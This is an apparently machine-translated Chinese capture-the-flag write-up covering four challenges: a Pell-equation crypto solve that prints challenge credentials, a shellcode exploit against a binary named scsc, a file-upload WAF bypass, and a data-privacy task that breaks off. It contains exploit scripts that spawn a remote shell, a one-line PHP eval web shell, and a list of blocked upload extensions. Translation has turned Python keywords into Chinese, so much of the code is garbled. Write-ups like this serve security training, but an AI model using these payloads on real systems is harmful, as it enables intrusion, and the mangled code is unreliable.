发布于2025年12月5日12月5日 1。数据安全问题 1.AS 查看示例和问题,编写实验 def pell_recurrence(x1, y1, x, y, D): x_next=x1 * x + D * y1 * y y_下一个=x1 * y + y1 * x 返回x_下一个,y_下一个 #计算 defgenerate_until_threshold(x1,y1,D,阈值): x, y=1, 0 解=[(x, y)] 迭代=0 而True: x, y=pell_recurrence(x1, y1, x, y, D) 迭代+=1 解决方案.append((x, y)) 如果x 阈值和y 阈值: 打破 返回解,迭代,(x, y) ################################################################ def main(): D=42232 x1,y1=10863430363390445672094671043496198963286006933268455141841942775234559999, 52862312812076818203801374519259164308207980652808243827880652144787200 阈值=2 **0x149f 解、迭代、last_solution=generate_until_threshold(x1, y1, D, 阈值) print(f' x={last_solution[0]}') print(f' y={last_solution[1]}') n1=(last_solution[0] - 1) //2 n2=最后一个解决方案[1] 打印(n1) 打印(n2) 如果__name__=='__main__': 主要() n1=64844564643854949589851602335778398417357958046473541907965865471825503785272678822237542386514416 51725550102689465473718387558249680778387240949510753434184201786605123847893899093406567717389454538 63424076592050010681353027292371006202432487099104697886787087178896042881627844174314231125376214954 19154772986757675855167129919386700726005394167383331284254279498630255373138495682828010693186447810 57479287499421828960449988657492485512377026945231309622443183880472164237635413004203374177822206304 44089221596447522910893615324877093077575834234632206558845108059414461593855011448692345628660664306 83959981553165969134977445797440777424234638814716724587813493753683564137657751284194240030996768337 89760649723034315709289197588503633098101852953596135719124951778966166882244717559306946188988876913 05988547719261557373152305147520465212028933040562402863469254876759885597054438983012367061809193423 02429465894637859344643029018424523547396779994375190095466431959714922380071905524429743822991653088 94827406933588588869457780910754797670434033383150772458175845012048361010458980333825797417081596422 21431364092087627932238340345061520303793648076973193990895662534842239113818516252719396503715138316 61159295598370595261204299608982637315116533642003066692618743189177977975115990107686657670079356738 23935662067654373217132550990224714558326022862910254573865374743852845589800119354399325882955858912 54265255505866953730470677263513581838876589163609662760667169682852304974550725035557641675680606757 39545960438904928347842532194851125250305537530924233133264250758350828806805623873239302114836480000 n2=6310775778373158072121506050012120110737000921159830860487405951913977629845084436128491344735820 40026490305611506672815790733279455324389749038244192826523764101532018565743490392509759876096077887 88325444231817568993263040637829084395625697084676735492761586936928880019298918917442234546613379985 39277783475975019927833495777599483895984131746152326733533402089732453584337320359607883603900037507 80198394158840133454980434734440578601714456186288858206698999555657864335810426614970929557078975227 40118225382682538460934652896234403638883250225904674132191120017142678063796240523447446112088083480 90038554632320631876073316635537960620462072106405529484343373700073814417337348039530722450965823938 02864729330924382527356098137452931852934251401785618978991521206247075519888904264778862933717556843 8766117594547448282055975342565781488527996930139203597438972783546538489763221467223016164700557230 06827166136303455670710003638464315811357227470395415655224937948450914818485837106928933473384856351 35625061825028262571981764852307539805730803567918135532017187134962686679160275107567876752308935413 19068679146341573352252143049354837542440743305672512279930021618838093554441531642048116980907147626 42324815609182517988506268150630360407065284699130560128074008357903247903494721281244031724949839433 41118835003599780758893627981692531706689912199808384763177614409977387670316498292979992834435354912 23892594907326387233035049571746899780864016130547022477744515841151992350371855827273942555857158966 00435834403902988987940547963269504370891849450258752419616559584122132413440460209140828641358681600 nc 连接提交 获取用户名:ADMIN-JM 密码:JM001x! 标志: md5(管理员-JM+JM001x!) 或者: #圣人9.5 从Crypto.Util.number 导入* 从pwn 导入* 导入系统 sys.set_int_max_str_digits(0) def 交互(io,x,y): io.recvuntil(b':') io.sendline(b'2') io.recvuntil(b'n1~') io.sendline(str(x).encode()) io.recvuntil(b'n2~') io.sendline(str(y).encode()) io.recvline() 返回io.recvline() D=42232 检查=2 **0x149f defsolve_pell(N): cf=连续分数(sqrt(N)) 我=0 whileTrue: 我+=1 denom=cf.分母(i) 数字=cf.分子(i) if (((数字- 1) //2)=检查) 或(分母=检查): 继续 如果数字^2 - N * 分值^2==1: x, y=int((数字- 1) //2), int(分母) res=交互(io,x,y) ifb'抱歉'在res: 中 继续 返回资源 io=远程('47.117.41.252','33410') context.log_level='调试' 解析结果=solve_pell(D) 打印(解析) io.interactive() #b'验证成功!您的用户名[ADMIN-JM],您的密码[JM001x!]~'最终flag: b7133d84297c307a92e70d7727f55cbc 2.SCSC 标题描述: 利用程序漏洞获取info_sec文件中的数据信息并提交第11行第2列数据 提问过程:拿到scsc二进制文件后,发现是静态编译的,没有库函数,而且缺少符号表,导致库函数没有名字。 这里使用了反向技术。恢复部分符号表的方法有3种。 使用不同版本的sig文件,尝试恢复bindiff的使用,使用不同的libc文件,比较库函数的机器码,使用finger插件恢复函数名(需要联网)。其中,我个人认为最有效的是手指插件。这个比赛也是不断联网的,所以我就用它。它不仅认libc,没有它我什至不知道还用了C++库。这是修复后的效果。 该程序是一个shellcode执行器,具有AES解密功能并禁用一些可见字符。我们需要对不包含过滤字符的shellcode进行加密传输。 这里使用的是最简单的方法。使用shellcode自己创建一个read,跳转到它,然后输入一个普通的shellcode。这里的可见字符过滤限制了“sh”和各种64位寄存器操作。于是我用了32位寄存器,轻松绕过,开启sys_read,注入shellcode,getshell 从pwn 导入* 从std_pwn 导入* 从Crypto.Cipher 导入AES 从Crypto.Util.Padding 导入pad defgetProcess(ip,端口,名称): 全球p iflen(sys.argv) 1and sys.argv[1]=='r': p=远程(ip、端口) 返回p 否则: p=进程(名称) 返回p sl=lambda x: p.sendline(x) sd=lambda x: p.send(x) sa=lambda x, y: p.sendafter(x, y) sla=lambda x, y: p.sendlineafter(x, y) rc=lambda x: p.recv(x) rl=lambda: p.recvline() ru=lambda x: p.recvuntil(x) ita=lambda: p.interactive() slc=lambda: asm(shellcraft.sh()) uu64=lambda x: u64(x.ljust(8, b'\0')) uu32=lambda x: u32(x.ljust(4, b'\0')) # 返回sl、sd、sa、sla、rc、rl、ru、ita、slc、uu64、uu32 defaes_ecb_encrypt(明文): 打印(明文) 对于c inb'0MOyhjlcit1ZkbNRnCHaG': if c 为明文: print(f'{chr(c)} 在里面!') # 将十六进制字符串密钥转换为字节 密钥=b'862410c4f93b77b4' #创建AES加密器 密码=AES.new(密钥, AES.MODE_ECB) # 填充并加密纯文本 padded_plaintext=pad(明文, AES.block_size) 密文=cipher.encrypt(pangled_plaintext) # 将密文转换为十六进制字符串并返回 返回密文 外壳代码=''' 推送响应 流行指数 移动edi,0 移动edx,0xff 推RDI 流行拉克斯 系统调用 跳转响应 ''' # 01ayhcjitkbn MolZNRCHG p=getProcess('47.117.42.74',32846,'./scsc') 上下文(os='linux', arch='amd64', log_level='debug',terminal=['tmux','splitw','-h']) elf=ELF('./scsc') gdb() 有效负载=asm(shellcode) sa('魔法数据:',aes_ecb_encrypt(asm(shellcode))) sl(asm(shellcraft.sh())) ita() 或 #!/usr/bin/env python3 从pwn 导入* context.log_level='调试' 上下文.arch='amd64' # io=进程('./scsc') io=远程('47.117.41.252',33414) 外壳代码=''' xchg r8, rax xchg r8, rsi 子电子数据交换 移动edx,0x99 子eax, eax 系统调用 ''' 有效负载1=asm(shellcode) print('shellcode=', Payload1.hex()) Payload1=bytes.fromhex('e29aca48e52d1d59c539c172262e56c7aeae3b0ebb4e872fa01f84506ad7c226') Payload2=b'\x90'*len(payload1) + asm(shellcraft.sh()) #gdb.attach(io) io.sendlineafter(b'魔法数据:',payload1) 暂停() io.send(有效负载2) io.interactive() 3.ez_upload 标题描述: 本题没有题目附件,请忽略附件下载按钮!用于加密数据的RSA密钥文件存储在服务器上。服务器站点维护时,管理员没有及时修复存在漏洞的测试站点。请提交RSA密钥所在路径(提交方式:如果文件所在路径为/var/www,则提交答案为/var/www) 提问流程: 初步想法,传马,getshell,然后寻找rsa相关文件 html和php都被waf删除了。检测后缀可以是检测文件内容。 Content-Type: text/html waf 这个 后缀已被wafed,html,php,htaccess,'.php','.php5','.php4','.php3','.php2','.html','.htm','。 phtml','.pht','.pHp','.pHp5','.pHp4','.pHp3','.pHp2','.Html','.Htm','.pHtml,user.ini 回应不是这个。但phtml后缀的响应不是THIS CONTEHT 对于php7.2以上版本,需要配置htaccess文件 也不是png2渲染 中间件是apache。是在解析漏洞吗? 发现检查文件内容时,包含php的内容会被waf删除。 成功传马 ?=@eval($_POST['cmd']); antsword连接,找到RSA密钥所在路径/var/www/rssss4a 4.数据披露与隐私保护 标题描述: 作为宣传部技术支持人员,在开展优秀志愿者公开表彰活动时,由于数据过度脱敏,无法准确识别个人信息,导致 多名志愿者的信息混杂。请玩家按照附件中的任务要求《题目说明文档》解决问题。 提问流程: 条目:打开文件-变量表base64加密-使用time()生成伪随机数组-异或加密-写入新文件 以下是程序初始化函数,用于加密数值函数
创建帐户或登录后发表意见